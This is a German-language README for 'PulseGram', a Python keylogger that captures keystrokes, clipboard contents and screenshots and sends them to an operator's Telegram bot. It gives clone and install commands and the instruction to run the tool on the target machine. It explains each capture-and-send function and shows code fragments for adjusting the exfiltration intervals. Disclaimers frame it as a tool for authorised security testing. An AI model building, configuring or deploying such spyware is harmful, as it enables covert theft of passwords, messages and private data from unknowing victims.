
Python-basierter Keylogger mit Telegram-Bot-Integration zum Erfassen von Tastatureingaben, Zwischenablageinhalten und Screenshots in autorisierten Sicherheitstestumgebungen.
PulseGram ist ein Keylogger, der in einen Telegram-Bot integriert ist. Es handelt sich um ein Überwachungswerkzeug, das Tastatureingaben, Zwischenablage-Inhalte und Screenshots erfasst und alle Informationen an einen konfigurierten Telegram-Bot sendet. Es wurde für den Einsatz in Gegner-Simulationen und Sicherheitstests entwickelt.
⚠️ Warnung: Dieses Projekt dient ausschließlich zu Bildungszwecken und für Sicherheitstests in autorisierten Umgebungen. Die unbefugte Nutzung dieses Werkzeugs kann illegal sein und ist untersagt.
_____ _ _____
| __ \ | | / ____|
| |__) | _| |___ ___| | __ _ __ __ _ _ __ ___
| ___/ | | | / __|/ _ \ | |_ | '__/ _` | '_ ` _ \
| | | |_| | \__ \ __/ |__| | | | (_| | | | | | |
|_| \__,_|_|___/\___|\_____|_| \__,_|_| |_| |_|
Author: Omar Salazar
Version: V.1.0
errors_log.txt, um die Fehlersuche zu erleichtern.
Repository klonen:
git clone https://github.com/TaurusOmar/pulsegram
cd pulsegram
Abhängigkeiten installieren: Stellen Sie sicher, dass Python 3 und pip installiert sind. Führen Sie dann Folgendes aus:
pip install -r requirements.txt
Telegram-Bot-Token einrichten:
Erstellen Sie mit BotFather einen Bot auf Telegram.
Kopieren Sie Ihr Token und fügen Sie es im Code in main.py an der Stelle ein, an der der Bot initialisiert wird.
Kopieren Sie Ihre ChatID chat_id="131933xxxx" in keylogger.py
Führen Sie das Tool auf dem Zielrechner mit folgendem Befehl aus:
python pulsegram.py
Dies ist die Hauptdatei des Tools, die den Bot initialisiert und asynchrone Aufgaben zum Erfassen und Senden von Daten startet.
Bot(token="..."): Initialisiert den Telegram-Bot mit Ihrem persönlichen Token.
asyncio.gather(...): Startet mehrere Aufgaben zur Ausführung der Zwischenablage-Überwachung, Screenshot-Erfassung und Tastatureingabe-Protokollierung.
log_error: Protokolliert bei Fehlern diese in einer Datei errors_log.txt.
Dieses Modul enthält Hilfsfunktionen, die den Gesamtbetrieb des Tools unterstützen.
log_error(): Protokolliert alle Fehler in errors_log.txt mit einem Datums- und Zeitstempel.
get_clipboard_content(): Erfasst den aktuellen Inhalt der Zwischenablage.
capture_screenshot(): Erstellt einen Screenshot und speichert ihn temporär, um ihn an den Telegram-Bot zu senden.
Dieses Modul behandelt die Tastatureingabe-Protokollierung, die Zwischenablage-Überwachung und die Screenshot-Erfassung.
capture_keystrokes(bot): Asynchrone Funktion, die Tastatureingaben erfasst und die Informationen an den Telegram-Bot sendet.
send_keystrokes_to_telegram(bot): Diese Funktion sendet die gesammelten Tastatureingaben an den Bot.
capture_screenshots(bot): Erfasst regelmäßig ein Bild des Bildschirms und sendet es an den Bot.
log_clipboard(bot): Sendet den Inhalt der Zwischenablage an den Bot.
Ändern Sie das Zeitintervall für die Erfassung und das Senden von Informationen.
async def send_keystrokes_to_telegram(bot):
global keystroke_buffer
while True:
await asyncio.sleep(1) # Ändern Sie das Intervall zum Senden der Tastatureingaben
async def capture_screenshots(bot):
while True:
await asyncio.sleep(30) # Ändern Sie das Intervall für die Screenshot-Erfassung
try:
async def log_clipboard(bot):
previous_content = ""
while True:
await asyncio.sleep(5) # Ändern Sie das Intervall zur Überprüfung auf Änderungen in der Zwischenablage
current_content = get_clipboard_content()
Dieses Projekt dient ausschließlich zu Bildungszwecken und für Sicherheitstests in Ihrer eigenen Umgebung oder mit ausdrücklicher Genehmigung. Die unbefugte Nutzung dieses Werkzeugs kann gegen lokale Gesetze und Datenschutzrichtlinien verstoßen.
Beiträge sind willkommen. Bitte stellen Sie sicher, dass Sie bei der Zusammenarbeit den Verhaltenskodex einhalten.
Dieses Projekt ist unter der MIT-Lizenz lizenziert.